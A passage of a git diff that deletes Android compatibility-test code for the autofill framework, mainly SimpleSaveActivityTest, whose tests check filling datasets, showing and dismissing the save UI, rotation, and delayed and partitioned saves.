-        setContentView(R.layout.simple_save_activity);
-
-        mLabel = findViewById(R.id.label);
-        mInput = findViewById(R.id.input);
-        mPassword = findViewById(R.id.password);
-        mCancel = findViewById(R.id.cancel);
-        mCommit = findViewById(R.id.commit);
-
-        mCancel.setOnClickListener((v) -> getAutofillManager().cancel());
-        mCommit.setOnClickListener((v) -> onCommit());
-    }
-
-    private void onCommit() {
-        if (mClearFieldsOnSubmit) {
-            resetFields();
-        }
-        if (mAutoCommit) {
-            Log.d(TAG, "onCommit(): calling AFM.commit()");
-            getAutofillManager().commit();
-        } else {
-            Log.d(TAG, "onCommit(): NOT calling AFM.commit()");
-        }
-    }
-
-    private void resetFields() {
-        Log.d(TAG, "resetFields()");
-        mInput.setText("");
-        mPassword.setText("");
-    }
-
-    /**
-     * Defines whether the activity should automatically call {@link AutofillManager#commit()} when
-     * the commit button is tapped.
-     */
-    void setAutoCommit(boolean flag) {
-        mAutoCommit = flag;
-    }
-
-    /**
-     * Defines whether the activity should automatically clear its fields when submit is clicked.
-     */
-    void setClearFieldsOnSubmit(boolean flag) {
-        mClearFieldsOnSubmit = flag;
-    }
-
-    public FillExpectation expectAutoFill(String input) {
-        final FillExpectation expectation = new FillExpectation(input, null);
-        mInput.addTextChangedListener(expectation.mInputWatcher);
-        return expectation;
-    }
-
-    public FillExpectation expectAutoFill(String input, String password) {
-        final FillExpectation expectation = new FillExpectation(input, password);
-        mInput.addTextChangedListener(expectation.mInputWatcher);
-        mPassword.addTextChangedListener(expectation.mPasswordWatcher);
-        return expectation;
-    }
-
-    public EditText getInput() {
-        return mInput;
-    }
-
-    public final class FillExpectation {
-        private final OneTimeTextWatcher mInputWatcher;
-        private final OneTimeTextWatcher mPasswordWatcher;
-
-        private FillExpectation(String input, String password) {
-            mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
-            mPasswordWatcher = password == null
-                    ? null
-                    : new OneTimeTextWatcher("password", mPassword, password);
-        }
-
-        public void assertAutoFilled() throws Exception {
-            mInputWatcher.assertAutoFilled();
-            if (mPasswordWatcher != null) {
-                mPasswordWatcher.assertAutoFilled();
-            }
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
deleted file mode 100644
index c099043..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ /dev/null
@@ -1,1874 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.AntiTrimmerTextWatcher.TRIMMER_PATTERN;
-import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.LARGE_STRING;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextValue;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_COMMIT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_LABEL;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
-import static android.autofillservice.cts.SimpleSaveActivity.TEXT_LABEL;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.app.assist.AssistStructure;
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.autofillservice.cts.SimpleSaveActivity.FillExpectation;
-import android.content.Intent;
-import android.graphics.Bitmap;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.BatchUpdates;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.SaveInfo;
-import android.service.autofill.TextValueSanitizer;
-import android.service.autofill.Validator;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.text.Spannable;
-import android.text.SpannableString;
-import android.text.style.URLSpan;
-import android.view.View;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import org.junit.Test;
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-
-import java.util.regex.Pattern;
-
-public class SimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase<SimpleSaveActivity> {
-
-    private static final AutofillActivityTestRule<SimpleSaveActivity> sActivityRule =
-            new AutofillActivityTestRule<SimpleSaveActivity>(SimpleSaveActivity.class, false);
-
-    private static final AutofillActivityTestRule<WelcomeActivity> sWelcomeActivityRule =
-            new AutofillActivityTestRule<WelcomeActivity>(WelcomeActivity.class, false);
-
-    public SimpleSaveActivityTest() {
-        super(SimpleSaveActivity.class);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<SimpleSaveActivity> getActivityRule() {
-        return sActivityRule;
-    }
-
-    @Override
-    protected TestRule getMainTestRule() {
-        return RuleChain.outerRule(sActivityRule).around(sWelcomeActivityRule);
-    }
-
-    private void restartActivity() {
-        final Intent intent = new Intent(mContext.getApplicationContext(),
-                SimpleSaveActivity.class);
-        intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
-        mActivity.startActivity(intent);
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndSave() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Select dataset.
-        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
-        mUiBot.selectDataset("YO");
-        autofillExpecation.assertAutoFilled();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("ID");
-            mActivity.mPassword.setText("PASS");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testAutoFillOneDatasetAndSave_largeAssistStructure() throws Exception {
-        startActivity();
-
-        mActivity.syncRunOnUiThread(
-                () -> mActivity.mInput.setAutofillHints(LARGE_STRING, LARGE_STRING, LARGE_STRING));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        final ViewNode inputOnFill = findNodeByResourceId(fillRequest.structure, ID_INPUT);
-        final String[] hintsOnFill = inputOnFill.getAutofillHints();
-        // Cannot compare these large strings directly becauise it could cause ANR
-        assertThat(hintsOnFill).hasLength(3);
-        Helper.assertEqualsToLargeString(hintsOnFill[0]);
-        Helper.assertEqualsToLargeString(hintsOnFill[1]);
-        Helper.assertEqualsToLargeString(hintsOnFill[2]);
-
-        // Select dataset.
-        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
-        mUiBot.selectDataset("YO");
-        autofillExpecation.assertAutoFilled();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("ID");
-            mActivity.mPassword.setText("PASS");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode inputOnSave = findNodeByResourceId(saveRequest.structure, ID_INPUT);
-        assertTextAndValue(inputOnSave, "ID");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
-
-        final String[] hintsOnSave = inputOnSave.getAutofillHints();
-        // Cannot compare these large strings directly becauise it could cause ANR
-        assertThat(hintsOnSave).hasLength(3);
-        Helper.assertEqualsToLargeString(hintsOnSave[0]);
-        Helper.assertEqualsToLargeString(hintsOnSave[1]);
-        Helper.assertEqualsToLargeString(hintsOnSave[2]);
-    }
-
-    /**
-     * Simple test that only uses UiAutomator to interact with the activity, so it indirectly
-     * tests the integration of Autofill with Accessibility.
-     */
-    @Test
-    public void testAutoFillOneDatasetAndSave_usingUiAutomatorOnly() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mUiBot.assertShownByRelativeId(ID_INPUT).click();
-        sReplier.getNextFillRequest();
-
-        // Select dataset...
-        mUiBot.selectDataset("YO");
-
-        // ...and assert autofilled values.
-        final UiObject2 input = mUiBot.assertShownByRelativeId(ID_INPUT);
-        final UiObject2 password = mUiBot.assertShownByRelativeId(ID_PASSWORD);
-
-        assertWithMessage("wrong value for 'input'").that(input.getText()).isEqualTo("id");
-        // TODO: password field is shown as **** ; ideally we should assert it's a password
-        // field, but UiAutomator does not exposes that info.
-        final String visiblePassword = password.getText();
-        assertWithMessage("'password' should not be visible").that(visiblePassword)
-            .isNotEqualTo("pass");
-        assertWithMessage("wrong value for 'password'").that(visiblePassword).hasLength(4);
-
-        // Trigger save...
-        input.setText("ID");
-        password.setText("PASS");
-        mUiBot.assertShownByRelativeId(ID_COMMIT).click();
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSave() throws Exception {
-        saveTest(false);
-    }
-
-    @Test
-    public void testSave_afterRotation() throws Exception {
-        assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
-        mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-        try {
-            saveTest(true);
-        } finally {
-            try {
-                mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-                cleanUpAfterScreenOrientationIsBackToPortrait();
-            } catch (Exception e) {
-                mSafeCleanerRule.add(e);
-            }
-        }
-    }
-
-    private void saveTest(boolean rotate) throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        if (rotate) {
-            // After the device rotates, the input field get focus and generate a new session.
-            sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-            mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
-            saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        }
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-    }
-
-    /**
-     * Emulates an app dyanmically adding the password field after username is typed.
-     */
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testPartitionedSave() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // 1st request
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Set 1st field but don't commit session
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.setText("108"));
-        mUiBot.assertSaveNotShowing();
-
-        // 2nd request
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                        ID_INPUT, ID_PASSWORD)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPassword.setText("42");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(null, SAVE_DATA_TYPE_USERNAME,
-                SAVE_DATA_TYPE_PASSWORD);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertThat(saveRequest.contexts.size()).isEqualTo(2);
-
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
-    }
-
-    /**
-     * Emulates an app using fragments to display username and password in 2 steps.
-     */
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testDelayedSave() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // 1st fragment.
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE).build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger delayed save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        mUiBot.assertSaveNotShowing();
-
-        // 2nd fragment.
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                // Must explicitly set visitor, otherwise setRequiredSavableIds() would get the
-                // id from the 1st context
-                .setVisitor((contexts, builder) -> {
-                    final AutofillId passwordId =
-                            findAutofillIdByResourceId(contexts.get(1), ID_PASSWORD);
-                    final AutofillId inputId =
-                            findAutofillIdByResourceId(contexts.get(0), ID_INPUT);
-                    builder.setSaveInfo(new SaveInfo.Builder(
-                            SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                            new AutofillId[] {inputId, passwordId})
-                            .build());
-                })
-                .build());
-
-        // Trigger autofill on second "fragment"
-        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger delayed save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPassword.setText("42");
-            mActivity.mCommit.performClick();
-        });
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertThat(saveRequest.contexts.size()).isEqualTo(2);
-
-        // Get username from 1st request.
-        final AssistStructure structure1 = saveRequest.contexts.get(0).getStructure();
-        assertTextAndValue(findNodeByResourceId(structure1, ID_INPUT), "108");
-
-        // Get password from 2nd request.
-        final AssistStructure structure2 = saveRequest.contexts.get(1).getStructure();
-        assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "108");
-        assertTextAndValue(findNodeByResourceId(structure2, ID_PASSWORD), "42");
-    }
-
-    @Test
-    public void testSave_launchIntent() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.setOnSave(WelcomeActivity.createSender(mContext, "Saved by the bell"))
-                .addResponse(new CannedFillResponse.Builder()
-                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                        .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-
-            // Disable autofill so it's not triggered again after WelcomeActivity finishes
-            // and mActivity is resumed (with focus on mInput) after the session is closed
-            mActivity.mInput.setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO);
-        });
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-        sReplier.getNextSaveRequest();
-
-        // ... and assert activity was launched
-        WelcomeActivity.assertShowing(mUiBot, "Saved by the bell");
-    }
-
-    @Test
-    public void testSaveThenStartNewSessionRightAwayShouldKeepSaveUi() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-
-        // Make sure Save UI for 1st session was shown....
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Start new Activity to have a new autofill session
-        startActivityOnNewTask(LoginActivity.class);
-
-        // Make sure LoginActivity started...
-        mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "id")
-                        .setField(ID_PASSWORD, "pwd")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-        // Trigger fill request on the LoginActivity
-        final LoginActivity act = LoginActivity.getCurrentActivity();
-        act.syncRunOnUiThread(() -> act.forceAutofillOnUsername());
-        sReplier.getNextFillRequest();
-
-        // Make sure Fill UI is not shown. And Save UI for 1st session was still shown.
-        mUiBot.assertNoDatasetsEver();
-        sReplier.assertNoUnhandledFillRequests();
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        mUiBot.waitForIdle();
-        // Trigger dismiss Save UI
-        mUiBot.pressBack();
-
-        // Make sure Save UI was not shown....
-        mUiBot.assertSaveNotShowing();
-        // Make sure Fill UI is shown.
-        mUiBot.assertDatasets("YO");
-    }
-
-    @Test
-    public void testCloseSaveUiThenStartNewSessionRightAway() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-
-        // Make sure Save UI for 1st session was shown....
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Trigger dismiss Save UI
-        mUiBot.pressBack();
-
-        // Make sure Save UI for 1st session was canceled.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // ...then start the new session right away (without finishing the activity).
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("");
-            mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
-        });
-        sReplier.getNextFillRequest();
-
-        // Make sure Fill UI is shown.
-        mUiBot.assertDatasets("YO");
-    }
-
-    @Test
-    public void testSaveWithParcelableOnClientState() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final AutofillId id = new AutofillId(42);
-        final Bundle clientState = new Bundle();
-        clientState.putParcelable("id", id);
-        clientState.putParcelable("my_id", new MyAutofillId(id));
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setExtras(clientState)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertMyClientState(saveRequest.data);
-
-        // Also check fillevent history
-        final FillEventHistory history = InstrumentedAutoFillService.getFillEventHistory(1);
-        @SuppressWarnings("deprecation")
-        final Bundle deprecatedState = history.getClientState();
-        assertMyClientState(deprecatedState);
-        assertMyClientState(history.getEvents().get(0).getClientState());
-    }
-
-    private void assertMyClientState(Bundle data) {
-        // Must set proper classpath before reading the data, otherwise Bundle will use it's
-        // on class classloader, which is the framework's.
-        data.setClassLoader(getClass().getClassLoader());
-
-        final AutofillId expectedId = new AutofillId(42);
-        final AutofillId actualId = data.getParcelable("id");
-        assertThat(actualId).isEqualTo(expectedId);
-        final MyAutofillId actualMyId = data.getParcelable("my_id");
-        assertThat(actualMyId).isEqualTo(new MyAutofillId(expectedId));
-    }
-
-    @Test
-    public void testCancelPreventsSaveUiFromShowing() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Cancel session.
-        mActivity.getAutofillManager().cancel();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    public void testDismissSave_byTappingBack() throws Exception {
-        startActivity();
-        dismissSaveTest(DismissType.BACK_BUTTON);
-    }
-
-    @Test
-    public void testDismissSave_byTappingHome() throws Exception {
-        startActivity();
-        dismissSaveTest(DismissType.HOME_BUTTON);
-    }
-
-    @Test
-    public void testDismissSave_byTouchingOutside() throws Exception {
-        startActivity();
-        dismissSaveTest(DismissType.TOUCH_OUTSIDE);
-    }
-
-    @Test
-    public void testDismissSave_byFocusingOutside() throws Exception {
-        startActivity();
-        dismissSaveTest(DismissType.FOCUS_OUTSIDE);
-    }
-
-    private void dismissSaveTest(DismissType dismissType) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Then make sure it goes away when user doesn't want it..
-        switch (dismissType) {
-            case BACK_BUTTON:
-                mUiBot.pressBack();
-                break;
-            case HOME_BUTTON:
-                mUiBot.pressHome();
-                break;
-            case TOUCH_OUTSIDE:
-                mUiBot.assertShownByText(TEXT_LABEL).click();
-                break;
-            case FOCUS_OUTSIDE:
-                mActivity.syncRunOnUiThread(() -> mActivity.mLabel.requestFocus());
-                mUiBot.assertShownByText(TEXT_LABEL).click();
-                break;
-            default:
-                throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
-        }
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    public void testTapHomeWhileDatasetPickerUiIsShowing() throws Exception {
-        startActivity();
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mUiBot.assertShownByRelativeId(ID_INPUT).click();
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("YO");
-        callback.assertUiShownEvent(mActivity.mInput);
-
-        // Go home, you are drunk!
-        mUiBot.pressHome();
-        mUiBot.assertNoDatasets();
-        callback.assertUiHiddenEvent(mActivity.mInput);
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO2"))
-                        .build())
-                .build());
-
-        // Switch back to the activity.
-        restartActivity();
-        mUiBot.assertShownByText(TEXT_LABEL, Timeouts.ACTIVITY_RESURRECTION);
-        sReplier.getNextFillRequest();
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("YO2");
-        callback.assertUiShownEvent(mActivity.mInput);
-
-        // Now autofill it.
-        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
-        mUiBot.selectDataset(datasetPicker, "YO2");
-        autofillExpecation.assertAutoFilled();
-    }
-
-    @Test
-    public void testTapHomeWhileSaveUiIsShowing() throws Exception {
-        startActivity();
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save, but don't tap it.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Go home, you are drunk!
-        mUiBot.pressHome();
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Prepare the response for the next session, which will be automatically triggered
-        // when the activity is brought back.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
